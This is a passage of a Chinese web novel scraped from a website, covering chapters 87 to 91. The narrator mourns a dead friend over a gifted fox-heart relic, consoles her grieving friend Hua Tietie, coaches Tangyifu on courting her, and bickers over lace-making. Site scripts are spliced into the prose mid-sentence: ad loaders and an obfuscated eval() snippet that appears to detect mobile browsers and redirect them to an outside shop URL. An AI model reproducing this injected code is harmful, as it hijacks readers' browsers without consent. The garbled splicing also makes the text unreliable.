花铁铁自从打开玄止境新世界,就想炫技。我没心思夸她,只低着头看着那条链子,链子上的吊坠是半颗破碎的鲜红欲滴的晶莹剔透的像红宝石又像红玉髓一样的心脏。但是那心脏就像真的一样,有鹅心那么大,血管动脉肌理都栩栩如生,血管里仿佛还流动着鲜血,颜色是暗红色的,内里心房心室也巧夺天工,尤其乳白色的心管温润如玉,只是碎掉了,只有心的上半截,断裂的地方,还能看到肌理的纹路。 “你都斗鸡眼了,我退远点。”说着花铁铁把项链往后拿了拿,以为我久久不语,是没看上她这个破碎的半颗心,道:“哎,你别看它碎了,这可是个好东西哈我跟你说,真的,虽然材质也不是什么名贵玉石,我也说不上是什么,但真的是好东西。啧,这是个什么东西?”花铁铁又端详起来,用胳膊碰了碰我,道:“你见多识广的,你认识不,此物太过珍贵,我也不好随意找人相看,就姑且算是红宝玉吧,你别不稀罕啊。”见我不言不语,想着我别是真的很嫌弃这个礼物,花铁铁忐忑起来。送个礼物,还给自己整自卑了,花铁铁有种说不出来的别扭,有些不自在。 “这是舍利,传说是上古神兽世间唯一一只十尾狐的心脏所化,这是世间顶好顶好的好东西,你舍得给我啊。”我看着花铁铁捧着的半个十尾狐心脏舍利。 花铁铁终于硬气起来,对我的识货,很满意,她先是疑惑反问,又开心不已:“舍利?嗨,这有什么舍得不舍得的,你是我的家人,再珍贵的东西,自家人有啥不舍得的,我给你戴上。” 我摸着胸前狐心舍利,感觉又回到了小时候,轻声问:“这东西你哪来的?” “偶然所得……你怎么哭了?”花铁铁给我戴好项链,一看我满脸泪水,顿时震惊不已,“也,也不用这么感动吧,看着也不大像喜极而泣,你在伤心什么?”收个礼物怎么还伤心哭泣呢,我这礼物……不是,礼物好不好,贵不贵重,都不应该伤心吧?!花铁铁简直要难受死了,这礼物她其实有点舍不得,这可是修真圣品,一般人连看都不给看,知道都不叫知道。 花铁铁后来告诉我,她当时想着要不脸皮厚一点,再给要回来,可终究是干不出那样的事儿。 “……杜晦死了……呜呜呜……”我仰头大哭。 88. 包子 “这都后半夜了,都快天明了,你才想起来哭啊?不过也不晚……”花铁铁感觉应该是和我分开太久,完全跟不上我的反应,头脑子抽了一下,按着太阳穴道:“哭吧,要是正了八经办葬礼,这会儿都有人来辞灵吊唁了,你倒是哭得正是时候。” “呜呜呜……杜晦……杜晦……呜呜呜……”我把狐心舍利握在手中,贴在胸口,然后整个人缩成一小团,哭得像个小豆包一样。花铁铁紧紧抱着我,眼里含着泪,明明憋得很难受,但就是忍着不哭。 平安惊醒了,睡眼惺忪走到窗前,看着水里的我们道:“怎么了,怎么哭上了?铁铁你欺负长安了吗?” 花铁铁极力否认,说不仅没欺负还送了礼物,说我是因为杜晦在哭,和她一点关系也没有。我哭着向平安举起脖子上的狐心吊坠,平安看了,原本睡眼惺忪,慢慢睁大了眼睛,眼睛闪烁着,然后蓄满了泪花,一颗一颗砸落在轩窗台上,啪嗒啪嗒…… 这只狐心舍利,是平安和我争抢摔碎的,当时还划破了平安的手,彼时她就像刚才的我一样,仰头大哭。后来,宫人们收集好狐心舍利的碎片拿去尚宫局修补,还没修不好,就发生了政变……没想到,这东西还能失而复得…… 平安跨过窗台,快步到池子边儿上,一把握住狐心,仔细看了又看,然后捂着嘴,跟着我一起哭起来……花铁铁起先很茫然,后来似乎被我们感染,想到什么什么伤心事儿,终于忍不住也要哭,但我和平安已经收拾好心情了,她讪讪地抹抹眼泪抹抹鼻子,嘀咕道:居然这么快就哭完了,下次得跟上节奏才行,特么就不该忍,越忍越难受。 我和平安噗嗤一下笑得鼻涕都飞了。 早膳堂邑夫,惠王和齐王来丛芳园和我们一起用膳。堂邑夫殷勤,花铁铁自然不领情,我就趁机捡漏,只要是堂邑夫端给花铁铁的吃食我就截胡,“我的我的都是我的,给我给我都给我……” “我也要我也要,也给我也给我……”平安也和我抢,没几次,花铁铁就和我们抢上了,堂邑夫递上的饭食虽然不是香饽饽,但总算不被嫌弃了。 江湖人吃饭不拘小节,花铁铁清粥小菜一拌,馒头里夹上半个咸鸭蛋,三下两下就吃完了,到一边书案上写召唤门人的密文,然后融蜡封存,走到窗边儿,就要吹特殊的哨子呼唤她本门的信鸽。 我赶紧起身走过去,一边吃着肉包子,一边打断她,眼神示意这是在宫里,此举实在不妥。花铁铁会意,赶紧收起哨子,然后把密文也收好。只催促我快点吃,说吃完就去找陛下要圣旨,她好带着我们去西域。 平安说小孩子吃饭要细嚼慢咽,不然肠胃不好,把我拉回去,叫我坐下慢慢吃。我说去西域不着急,使团不是一时半会儿,一道圣旨就组建完成的,谁做大使,谁做副使,使团成员配置都有礼制,咱们这边虽然是暗中行事,但咱们通商建立据点也得用钱的,就算这会儿去要来圣旨,朝廷的经费得好一段时间才能拨下来。我劝她稍安勿躁。 花铁铁说稍安勿躁个屁,为了祖上荣光,她可以自费,我哈哈笑道说为了她的大业,我必须入股,但是就算钱的问题解决了,也还是不能立即出发,我得把齐王的身子调理好了再说。 花铁铁说可以带上齐王,我说路上颠簸,再给我蟑螂折腾没了。花铁铁震惊不已的样子,瞪着眼伸着头看着齐王道:“这就你的大蟑螂?齐……王?哟,传闻中的齐王啊?” 花铁铁眼睛提溜转,神色复杂,表情多变,但没有鄙视和嫌弃的意味。我一看就要明白她在想什么,多半还是借种的事,低声道:“你是不是在想,这个男人给人用过了,借种的话不能找他了,不过这哥们生的还不错,还怪遗憾的,你是不是还犹豫着要不要委屈一下,妥协一下?” 花铁铁一副你果然是肚子里的蛔虫,这你都能猜到的样子,我不等她点头承认,就翻了脸,道:“你死了这条心,我家樟郎也不能再给人祸祸了。哦对了,借种这事儿翻篇,谁的种你也不许借,你就等着建功立业回来,求个恩典,陛下给你赐婚招赘,听见没?” “那还不赶紧吃!”花铁铁黑着脸,把我手里的包子抢过去,往我嘴里一塞,“吃完咱们一起去找天子去。” 我也不恼,从嘴巴里拿出包子,小口小口的吃着,道:“胸有激雷而面如静湖者,可拜上将军。咱们又不是去做任务杀谁,怕走漏了风声夜长梦多,坏了计划,要速战速决。这是政治,是要讲策略的,不能一蹴而就。” “哎,对了,咱们这么高谈阔论的不怕隔墙有耳啊。”平安忽然谨慎起来,在我耳边低声问道。 “隔墙有耳有什么好怕的,你哥在江湖上做事向来打明招,从不搞暗杀,要不说隆御山庄一案做的漂亮,提前一年跟人家下好战书,叫人家准备好了,打声招呼,结果整个山庄准备了一年,愣是没跑了灭门的结局,那可是隆御山庄,江湖第一大剑庄。”花铁铁说起这事儿来,又兴奋不已,眉飞色舞,拍了拍我道:“你可真是替天行道,我们都不知道当年桑怀民灭门案是隆御山庄这个道貌岸然的败类干的,桑怀民那可是心怀天下,救济苍生的大善人啊,真是造孽。要不是你提前下令不许旁人插手,我怎么也得去插那庄主两刀。”说着对着桌上的包子唰唰地比划。 “隔墙有没有耳,咱倒是都不怕,可我觉得说话小点声好。”我轻轻提醒道。这里是宫廷,宫人们都很守规矩,尤其是身边人,都是知根知底儿的心腹,是不会乱说。退一万步讲,就算是有人被买通了,我们谈论的事儿也是对大汉利好的,断然不会传到外域,更不会传到羯奴那里去,所以我们是没什么顾忌的。 惠王齐王看了看大咧咧的花铁铁,低头有些想笑,都说快意江湖,没想到这个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 美丽动人的江湖女儿如此豪放可爱。 我话音刚落,花铁铁就忽然看着我给平安的冰镇梅子饮,转移了话题问:“长安你是怎么想到利用金木水火土的呢?还给妹妹做冰镇梅子饮,真是太让人不可思议了!”天真是越来越热了,大清早的知了就叫个不停,花铁铁也给自己来了一杯冰镇梅子饮,只是一不小心直接给冻成冰块了,就索性含在嘴里咪溜。 雅不雅观的先不说,可爱是真的。我看着她的样子,不禁发自内心的微微笑,像叮嘱平安一样,叫她少吃些凉的。 “多读书啊,我曾经在师父的书里读到过一句话:万物皆非我所属,然皆可为我所用。当时还疑惑怎么为我所用,后来升入玄止境,一下子就悟出好多心法……”我还没说完,花铁铁就把我眼前儿的一个包子炸了,我躲闪不急,被炸了一脸包子馅儿,我简直气死,却不好发作,只能隐忍怒道:“我倒不知是哪句话哪个字惹到你了,包子何辜,你炸包子干什么,它一个好好的白白胖胖的包子,可可爱爱的包子,你炸它干什么?” “我,我,我就是听了那句话,动心起念,想着不知道这个包子算不算万物,能不能为我所用,也没用力,谁知道就……”花铁铁很是抱歉,愧疚地拿起桌上的抹布给我脸上的馅子。 幸好没用力,不然我就是包子馅儿了!我脑仁疼,心里那口火上蹿下跳:“一包子能为你什么所用,除了能填饱肚子,还能干什么?!难道还能打羯奴,收复河西吗?花铁铁,你以后能不能多动动脑子!!哼,我不想和你一起玩耍了,一点都不好玩,一点都不快乐,啊……”我懊恼的仰头就哭。 平安看见花铁铁用抹布给我擦脸,掏出手帕要给花铁铁换一下,奈何花铁铁动作太大,擦得又过于专注,平安插不上话阻止,眼见她也快把我擦好了,又见花铁铁听了我话,神色有异,不敢轻举妄动,只好作罢。只到我身边来,哄我,叫我别哭了,吃着饭哭,肠胃该不好了。 “……”当着这么多人的面,我没给花铁铁留面子,花铁铁委屈埋怨地把给我擦脸的抹布一扔,不做声只瞪着我看,忽然心化了的样子,捧着我的小脸蛋,道:“闹起来还是这么讨厌,可是你真的好可爱,我都没办法和你生气呢。”然后不顾我的挣扎,亲了我一下,又一脸嫌弃地嗅了嗅,道:“什么味儿。” 我黑着脸,道:“还能什么味儿,再干净的抹布擦脸还能有什么好味儿!”说着把她刚才给我擦脸的抹布拿起来往她脸上一扔,她也不躲,一把接住,然后捧腹哈哈大笑。众人也都乐了。花铁铁就是故意的,那抹布虽说是抹布,但其实干净的很,雪白雪白的。她就是故意提醒我她给我擦脸用的是抹布。 我斜眼看了一下欢喜之外心事重重的堂邑夫,转头对着花铁铁道:“我问你一个事儿,你怎么忽然很介意男人那种事情是不是第一次了?” 89. 偏心 “因为我大师姐和二师兄啊!”花铁铁等口里的冰块儿化了,才道:“我大师姐不是喜欢我二师兄吗?这事……” “这事我知道,他俩的事和你转变观念有什么关系?你不要绕弯子,赶紧直说。”我催促道。 花铁铁蹙眉道:“啧,我就是直说啊。你离开后不久,我大师姐二师兄成亲啦,谁知洞房花烛夜,我那傻子二师兄一高兴就喝得有点多,兴头上喊得是人家女人的小字,我大师姐瞬间就炸了,那种事情越描越黑。我二师兄衣服都没顾上穿,包着被子就跑出来了,脖子脸都给抓破了。我大师姐往死了打我二师兄,我二师兄为了保命只能出手自卫。 门里喝喜酒,人来的很全,二师兄毕竟要面子,终是不肯说软话,他俩都架在那了,最后打得昏天暗地,不可开交……本来我师父死了,师门是传给我大师姐的,我大师姐和我二师兄成婚,掌门就是我二师兄,结果他俩杀起来了,你追我赶,你逃我杀,天南地北……师门就传给我了,我除了武功高强,我哪是当掌门的材料啊,现在我们师门和解散没啥区别……” “他俩打他俩的,你二师兄犯的错,你干什么这么芥蒂?”我奇怪的问。心道,你大师姐也真够计较的,成亲前的事儿睁只眼闭只眼一笔带过,婚后好好过日子不就行了,攥着男人小辫子,日后更加方便拿捏不是? 花铁铁用最轻松的语气道:“我大师姐自杀了,死之前,就给我留了一句话,叫我脏了的男人不能要。都搭上命了,那我肯定得引以为戒啊。” 我大惊:“哎妈呀……多想不开啊,你大师姐还真是烈性。”众人也都大惊。我深深觉得,不至于。众人也都如此神情。 花铁铁吸吸鼻子继续轻松道:“嗐,用情太深,伤得太重,没办法,活不下去了,干脆死了一了百了。” “那你二师兄呢?”许久,我问道。 “失踪了,不见了,不知道死哪去了。”花铁铁不想再说下去,“行了别说他们了,这顿饭是有多难吃,你们是有多不想吃,这半天了还没吃完?” 花铁铁提醒了我们,我们这才发现都给这劲爆的消息惊得忘了吃饭了。要不怎么说,食不言寝不语呢。 我们赶紧吃饭,可花铁铁已经实在等不及了,便不耐烦道:“别吃了,别吃了,圣旨可以不要,咱们先从长计议可以了吧,叫人来收拾桌子,赶紧的把小会儿开起来,说干就干!” 在江湖的时候,我们施行任务之前,是有策略和规划的,通常会开大会,开大会之前,主要人员会先开小会。花铁铁这会儿拉着我就是要开小会。 “铁铁。”我按住花铁铁,花铁铁如今比我个头高很多,又着急起身,我人小力气弱,一下还没按住她,赶紧又用力按了一下,花铁铁坐定回来看着我,不明白我要干什么,却也没反抗,一脸探究等我下文。 我双手搭在她肩上,语重心长道:“铁铁,这些年,你经历这么多,苦了你了。” 至交好友的我和杜晦先后离开,情同手足的师姐师兄变故多生……她终究是个人啊,怎么可能像她表现的那样轻松,毫无执念,毫不在意呢?哪怕想得多清楚,看得多透彻,她也会难过,也会揪着不放,可她生性理智,本能的保持着无比的清醒,眼睁睁看着自己深陷其中,却又故作坚强,假装把自己救赎,然后活成别人眼中花铁铁该有的样子。 可是,沉迷难过还好些,一蹶不振也没关系,反而,清醒的人,比谁都苦…… 好心疼她啊,我深深吸了一口气,“铁铁,你先安定下来,什么都不要想,什么都不要做,好吗?这些年,你经历太多生离死别,你心里太苦了,你憋的太久,你那根弦儿崩的太紧了,每天就想着练功练功不停地练功,做任务做任务不停地做任务,把自己填得满满的,塞得满满的,一刻也不敢让自己停下来,可是人,人是不可以那样子的,那样子,人会坏掉,会疯掉的。” 花铁铁愣住了,一脸茫然,歪着头看我,像一只尚未通晓人性的小猫咪一样,仿佛对我的话,并没有什么反应,可我知道她冰封的心,正在被慢慢敲开一道裂缝。 我继续说道:“停下来好不好,好好大哭一场好不好。西域,我们先不去了,长安城马上就要再次宵禁了,你以前最喜欢逛热闹的集市,每次都给想要读书的我和堂邑夫搞破坏,不让我们安心读书,非要拉我们和你一道去玩。长安城的夜市很好玩的,趁着这几天我们好好玩一玩,然后我们再去洛阳转转好不好,平安很想去洛阳,我之前答应她的。嗯……洛阳你一定去过,但我猜你一定没好好玩过,没有我陪着,你玩不好,玩不尽兴的,正好这回儿咱们一起去玩一玩好不好。就当……”我顿了顿,想了想接着道:“就假如我们都还是小时候的样子,我去你师门偷偷找你下山玩。嗯嗯,一起啊。”最后我清了清嗓子,学着花铁铁小时候的样子,发出邀请,然后满脸期待的等她答应。 花铁铁眼圈微微红着,喉头哽咽了一下,然后用力往下吞咽,似乎要将委屈和软弱全部咽进肚子里,倔强地拒绝我:“不要,偷偷和你出去玩,回去会被师姐发现的,发现的话……”眼泪已经不争气地大颗大颗往下掉了,内心深处的某些东西正在迅速融化,然后异常汹涌的扑面而来,可是花铁铁的坚守不是一般人可以比拟的,所以她的防线要更加难以攻破。 我也动容,含着泪,眼睛上下翻着左右瞟着,仿佛这样做可以让眼泪返流回去,鼻子酸的难受,喉咙生疼,我努力稳住声调,轻柔道:“那我们大大方方的去玩,就当,就当我们是天上的童子童女,给师父们看门儿,守炉子,太辛苦了,师父许咱们下界来,好好玩玩,对,我们这辈子就是来人间好好玩的,看看花是如何开的,雪是如何化的,师父叫我们好好玩,玩不尽兴就,就不许回去,你不是说你师父从小就教育你什么事儿都要做到极致,做不到极致,也要做到尽兴吗?那玩,玩也是一样的,咱们得玩到极致 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,玩不到极致,也得玩到尽兴,不然就是违抗师命,师父会,会伤心的……” “哇……”花铁铁一下子哭出声来,抱着我久久难以自持。我默默地流着眼泪,像哄小孩儿一样拍着她的后背,平安受到感染哭泣着过来,从背后抱住花铁铁,趴在她背上呜呜落泪,我们姐妹俩把花铁铁抱在中间,那边三个男人也看得动容,宫人们也感伤落泪,旦公公简直泣不成声,堂邑夫低头不语,碗里的稀粥都给他搅拌的澄清了。 我跟花铁铁说咱们在汤泉宫多住几天,打发她陪平安回家拿换洗衣物,花铁铁和平安身形相差无二,正好我给平安又新添置了好多衣服,刚好拿给她替换。再把平安的貂儿接来。临出门前,我特地嘱咐她们不要忘记把我的小宝箱带来。目送她们走远,才折回来。 堂邑夫的这顿饭是吃不下也吃不完了,可我们都是爱惜粮食的人,断然不会剩饭浪费。他大概从来没有哪顿饭这么难以下咽过。齐王惠王到一边品茗对弈。 我抱臂坐在堂邑夫身边道:“早就劝过你,要洁身自好的,你非是不听。”我边说边斜眼审视他的神色,接着道:“我知道,这种事情男人经历的越多,在男人堆里反而越有面子,而且通常女人是不会介意这些事情的,可是赶巧不巧,花铁铁现在介意得很。” 堂邑夫不言语,剩下的那口稀粥他无论如何也张不开嘴吃下去。 “不过你也不要灰心啊,万事没有绝对。”我体谅他的难过,安慰道:“每个女人都是不一样的,铁铁大师姐的观念和离世对铁铁固然是有很大的影响,但不代表铁铁的观念就定下了,把握住铁铁的性子,还是有突破的可能的。” 堂邑夫微微抬眼看我,怕是知道我在安慰他,对我的话也不太深信,继续扒拉着碗里的稀粥,艰难抿着。 我接着往下说道:“我没虎你,铁铁的性子咱们还不了解吗?她最喜欢争抢好胜,那种感觉你是男人你该懂啊——正所谓妻不如妾,妾不如偷,偷不如抢,抢不如抢不着,那你就好好利用这一点。你反正已经有过女人了,又不止一个对吧,那你就一不做二不休,不妨有本事让自己女人再多一点,让自己有坐拥弱水三千的能力,你听好不是让你真去弄三千个女人回来,是要你有坐拥弱水三千的本事和能力。 当女人们都为你痴迷疯抢的时候,你独独爱她,偏偏选她,那时她定然愿意跟你,因为那样代表她征服了你一个,便是赢了三千众。她不仅不会嫌弃你,还会好好守着你看好你,生怕别人把你抢了去,就像平安爱护郑清那样。 可你如果没有能力,就像当年,哪怕你干干净净的,只是少年情窦初开对姑娘有了念头,对她有个想法,她都气得不行,拿你撒气,把你的生死完全不当回事儿,最后心虚,也只是怕你死了不好和我交代。你也是万花丛中过,也了解女人,女人都是慕强的,尤其是花铁铁这个级别的女人,极端慕强,你想拥有她,没点极致的真本事是不行的。” 90. 觉爱 堂邑夫想说道理他都懂,“可是天赋这东西,就像信任,有就是有没有就是没有,是努力没办法弥补的。”他对花铁铁有一种莫名的无力感,他不知道正是这种无力感证明他真正爱着花铁铁,因为男人对真正心爱的女人是充满自卑充满胆怯的,见不到想见,见到了又害怕,既怕看不见她,又害怕她看见她,更害怕她看不见他,怕她不爱他,怕自己还不够爱她,那种心里没底的感觉,让他们常觉亏欠,总是怕自己没办法满足心爱之人。 由爱故生忧,由爱故生怖! 我鼓励堂邑夫:“天赋,这东西你又不是没有,干嘛说得好像你果真没有一样。”我故作不乐意的样子,瞪了他一眼,坚定道:“你有,我说你有你就有,你要是没天赋,怎么可能练就这一身功夫和我并肩作战这么多年?” 人对某种事物的信心,尤其男人面对心爱女人的信心,不是三言两语就可以构建起来的,堂邑夫想了想道:“有有什么用?花铁铁面对你也没办法,她说的对,天赋,也分层级,也分境界。花铁铁比不上你,我又比不上花铁铁。”那和没有,有区别吗?有什么区别?根本就没区别!堂邑夫嘀咕着。 堂邑夫有时候就是欠敲打:“那花铁铁这么多年也从来没放弃说就不和我比了,人来到这个世上都是自带气运加身的,她通过不断的努力在机缘巧合下,还是比我早一步进入玄止境呢。我最讨厌垂头丧气的样子,你偏偏一大早上就蔫了吧唧的,讨厌死了。 到底这些年是我亲自调~教你,别人求之不得,你倒也素来争气,对你的进步和变化我一向是很满意的。你自怨自艾什么? 本来在这件事上,作为花铁铁的至交好友,我是不能帮你太多的,可人心都是偏的,我忍不住嘛,我忍不住不管你,我忍不住心眼子太多,忍不住小动作不断,已经对你太偏心了,她知道了也会寒心的,我还挺担心的。 都这么帮你了,你要是还自己不给力,还说这些拉胯的话,自己给自己打退堂鼓,我便只当是烂泥扶不上墙,算我白费了心思,我就丢下你不管了。 从此以后,你也别人前人后说你看中了花铁铁,说她是你的心上人,像兽类护食,标记领地一样,没得坏了人家铁铁的清誉,阻了桃花,误了正缘。把人家好好的年华都给耽搁了。” 被我一刺激,堂邑夫瞬间来了精神头,扬声道:“我就是铁铁的桃花,我就是铁铁的正缘,我对铁铁势在必得。” 我开心的拍着堂邑夫宽厚的肩膀道:“对嘛,这才是我大螳螂应有的样子。以后别整那副死出了,跟个烂桃花似的,别说铁铁了,我看着都烦。”谁不喜欢精神小伙啊,干劲十足的样子,看着就高兴,心情都舒畅。“赶快吃饭,吃完饭就去学宫上课,秋假期末文武会试,你拔得头筹,你看铁铁不对你刮目相看。” 学宫秋假是每年最盛大的假期,学生们在假期到来之前,有一场最隆重的文武会试,会试前三会得到皇帝的召见,可携家人参加宫里的丰秋庆典夜宴。头筹,还会被赏赐稷麦田里的皇粮,以示恩宠。 虽然学宫里的佼佼者比比皆是,但堂邑夫还是燃起了雄心壮志,快速扒拉着碗里的稀粥,点点头“嗯嗯……”这饭终于不那么难吃了。 “花铁铁对男人那种事情其实并不真的在意。”我看了看窗下和惠王对弈,认真投入的齐王,低声和堂邑夫道:“你看齐王殿下,身体弱,谣言传得那么难听,但到底是个亲王,生得玉树临风,温润如玉,花铁铁虽然迟疑,但还是会在他身上打主意。铁铁对男人不干净的那份儿嫌弃,不是骨子里的嫌弃,是她大师姐的事让她有了芥蒂。所以那种观念不是重点,你不要放在心上。” 堂邑夫点点头,他放下碗筷,宫人们上前来收拾桌子,我们到一边的小隔间去漱口,堂邑夫要上学,学宫对学生的仪容要求十分严格,堂邑夫十分认真地对镜整理衣冠。 我一边帮他整理一边接着道:“堂邑夫,这个世界上除了钱,除了本事,就是权力了。王爷们是天生的权力,普通人也有平步青云的途径。你如今在学宫上学,就已经踏上了飞云梯,你品行自不必说,论长相,你亦容貌甚伟,英姿飒爽,实属上乘。咱们江湖儿女不看重家世,不论出身,这个你也不必担心。你只好好努力,将来建功立业,封候拜将,那也是坐拥弱水三千的能力,你再情有独钟,花铁铁未必不肯。” 堂邑夫觉得光明的未来一片坦途,瞬间浑身都是劲儿,腰板都挺得更直了。我没有让他弯下腰就我,而是踩在小桌上,踮着脚尖给他整理发带发冠。 “对啦,我这边你常来哈,男人对喜欢的女人再忙都是有空闲的你懂的对吧。不用我教你对吧。”把书箱拿来给堂邑夫背上,满意的打量一番,然后一边引他从小间的边门直接出了正堂,送他出丛芳园去,嘴里一边不停的念叨:“男女情爱是分种类的,一见钟情呢,是欲爱,其实就是见色起意,韩燕熙对平安就是这种。 所谓日久生情其实就是习惯了彼此的存在,懒得找别人,也觉得麻烦,就好歹凑付凑付过日子。与其说是情爱,不如说是情分。 最好的爱情是觉爱,就是你这种,忽然有一天突然一下子,怦然心动!怦然心动就是觉爱,当属爱情里的上上乘。 你呢,你对花铁铁就是觉爱,是从小一起长大都没啥感觉,忽然有一天怦然心动,生命从此有了活着的意义,奋斗有了目标,浑身的劲儿有了源泉和动力,入目无他人,四下皆是她,除了她其他人都是将就,是谁都无所谓,对吗? 当然,铁铁不是那么容易得到的女人,你对她痴迷过幻想过,奢求过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13947100|147774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也绝望过,所以行尸走肉般放纵过,也想过随便找个人了此一生,可是当再次看见铁铁的时候,死去的心再次跳动,你无论如何也按捺不住了。咱们自幼一起长大,你是什么样子的人,我最是清楚,热烈,激情,昂扬,澎湃…… 我早看出来你心里有人了,我虽然不知道是谁,却知道你必定非她不可,所以,我才不要你耽误魏宁儿的。我敢说,要是你和铁铁成亲,一万两黄金你会觉得太少了,十万两黄金都怕不够,生怕委屈了铁铁对吧。” 堂邑夫不好意思的笑了笑,“长安……” 我把他送到丛芳园门口,站在门口高高的门槛上,勉强到堂邑夫的肩头,绕是这样我也像一个母亲送自家儿子上学那样,嘱托道:“去吧,上学去吧,好好学习功课。”忽然想起了什么,赶紧提醒道:“噢噢噢,你可别学得太废寝忘食,一定别忘了多到我们眼前晃悠晃悠,别铁铁怦然心动的时候你不在,她看上别人了,你就彻底没戏了。” “你别吓我。”堂邑夫跨出去的步子都停滞了。 “我没吓你。”我认真道:“你自己想想是不是这么回事儿。再说一个男人对一个女人的爱表现在哪里?一是肯花心思,二是肯花时间。你是男人你知道,男人再忙对心爱的女人也总能抽出时间来,对吧?哎呀好了,这些事你比我会,男人对喜欢的女人是忍不住的,你也不用我提点,就该忍不住往这儿跑!到时候我怕是还要撵你呢,好了,快上学去吧。” 堂邑夫脚步轻松的离开,直到他消失在宫道上,我才回去。 丛芳园的前院很小,我转头便能看见殿中窗前的齐王和惠王,齐王又赢下一局,惠王呵呵一笑,收拾着棋盘,齐王转头看向窗外,对着园门口的我道:“长安我的药这会儿吃,还是等会儿?” 我道:“我先给你把把脉吧。” 齐王的身子恢复的很快。不仅气色好了很多,整个人都壮实了不少,前些时日我们去花小楼,李大娘子看见现如今的齐王惊得发愣,眼中流光溢彩的,这给齐王很大信心,他于是越发配合治疗调理。想必刚才花铁铁的反应,也让他内心窃喜。 不多时花铁铁就带着平安回来了,翡翠也跟着来了。她们拿了好些东西,趁着她们整理,我赶紧把我的小宝箱放好。她们一起编织蕾丝,蕾丝很是繁琐,有很多很多小棒槌,翡翠管这叫棒槌绣,倒也贴切。 我以前是不太关心这些女儿家的东西的,不是不喜欢,是打心底要做男人了,便自动无视。就比如现在,我就和齐王惠王在屏风另一侧喝茶品茗看书探讨。 可到底是个女孩子,看见花铁铁不费工夫就学会了,还用上了内力操动棒槌,编得飞快,引得平安和翡翠连连夸赞,透过屏风也能看见花铁铁大显身手的样子,我心里就有些痒痒的…… 91. 蕾丝 平安说花铁铁简直就是东方不败,又说比东方不败还厉害,说东方不败只会用绣花针刺绣,花铁铁却能操控棒槌编蕾丝,简直太厉害了,是神一样的存在。 东方不败?!这个名字真好!真霸气!好符合我的风格啊! 我喜欢,我想要这个名字,我必须得要这个名字,当然花铁铁是我的挚友,我也允许她偶尔分享,可是花铁铁怎么能和神明一样存在呢?平安真是太喜欢夸张了,明明我比花铁铁厉害好多,可她从来没有这个夸奖过我,好烦好气好嫉妒哦。 我把书一扔,倒腾着小短腿,快步跑过去,却停在屏风边上止步不前,只扶着屏风,漏出半个脑袋往里看。唉,既然选择做男人,女儿家的东西就要放下了,即使再想参与,也不可以。可是,小棒槌在花铁铁的手下快速地飞来飞去,变得异常小巧可爱,编织出来蕾丝真的好看极了,所有的这些完全在勾引着我。 不行,不可以,男孩子不可以喜欢这些东西,要控制……我也可以靠别的当东方不败。 我正打算回去,正在和翡翠一些做软撑的平安看见我,招招手柔声道:“过来,帮我们把这些小珠子小碎钻打些小孔。” “我不要。女儿家的东西我才不要碰。”我抱着臂,傲娇的扬着下巴扭着头拒绝。 “哎呦,又在别扭什么?以前又不是没做过。”平安说得对,以前她自己搞什么DIY,我是给她的珠宝首饰打了不少孔的,以至于,我现在打孔称得上是术业有专攻。 “呐,这次这些小金珠小银珠还有小珍珠小宝石小碎钻个头小得很,要很精细的去钻孔,你有经验心又细功夫还高,不找你找谁,喏,你不愿意和我们女儿家一块儿,就端去外面做,好好做,不许偷懒,当然……也不许使坏,你要是一巴掌把它们都化成齑粉了,我就一辈子不理你。”平安说着把盛着小珠子小碎钻的托盘塞我手里,然后把我转了个身,往外推。 我不是不愿意和你们女儿家在一块儿,我是不想做这些女儿家做的事情。咳,好像也没差,好吧算了吧,平安根本不会听我解释,也不愿意分辨其中区别,那我根本也没什么好说的必要。 “我,我也想当东方不败。”我低着头道。 “好好好,当当当,去吧去吧。”平安真的好敷衍。 “我就要当东方不败!”真的好不服气啊! “行行行,东南西北中你当哪方不败都不败,快去弄去吧。”花铁铁说着走过来把平安拉回去,两个人小手牵着,相视笑着,亲密无间,要好的样子真的好刺眼。 我是在抢什么别人不要的垃圾吗?我为什么会有这么强烈的感觉。我到底在争取什么?!我为什么有一种要气爆炸了,却完全没理由生气爆发的感觉,完全没有出气口,完全没有着力点,那我到底在气什么?可是,明明,但是,真的好气哦! 平安连头也不回的嘱托我道:“有棱有角的你顺便打磨圆滑,别划伤我们。” 那是当然,要缝到贴身衣服上的,我自然会仔细认真的。只是,“……”感觉妹妹又不爱我了。 真的无语,我给了她那么多金玉珠宝,个头那么大,成色那么好,花铁铁就搞了一些破烂,我妹妹就和她玩得这么好。嘤嘤嘤…… 我就这么被打发了,端着托盘悻悻回去,我这是去干什么去了,找活儿干?找这种活儿干?和闲着没事找屁吃有什么区别?! 这些珠子最大的和玉米粒一样大,大多数和米粒一般大小,不少和高粱米一样的,还有数不清的和小米一样大小的,我真是无语死了,没得到赞赏,抢到一个谁都不要的名字,还端回能把眼睛累瞎,把自己干死的活儿——那些珠子没有一亿也有一兆吧。烦死了烦死了,看着满满一托盘的大珠小珠,我就头疼,“花铁铁你从哪里弄来的这么多细碎?” “攒的,蚂蚁也是肉嘛,我很会过日子的。”花铁铁道。 “这种能把日子过富了嘛?”我于是郑重考虑,以后堂邑夫封侯拜相了,要不要找个世家女子给他做当家主母,花铁铁她不配,她配不上我大螳螂,我怕大螳螂每日给她钦点这些小细碎,早早累死,累瞎,我心疼。 “都像你啊,财大气粗?富不富的,肯定是过不穷。”花铁铁一边操纵棒槌一边呵呵笑道。 “对啊,而且这些东西留着也不占地儿,攒着也不费工夫,总比扔了丢了好,这不就派上用场了嘛?”平安帮腔道。 “可是我也派上用场啦。”我黑着脸道,心里不服气,说完忽然觉得自己就和这些小细碎一样。 平安探出头来,笑得十分好看,道:“那可是大用场啊,你是我们的贴心小棉袄。” 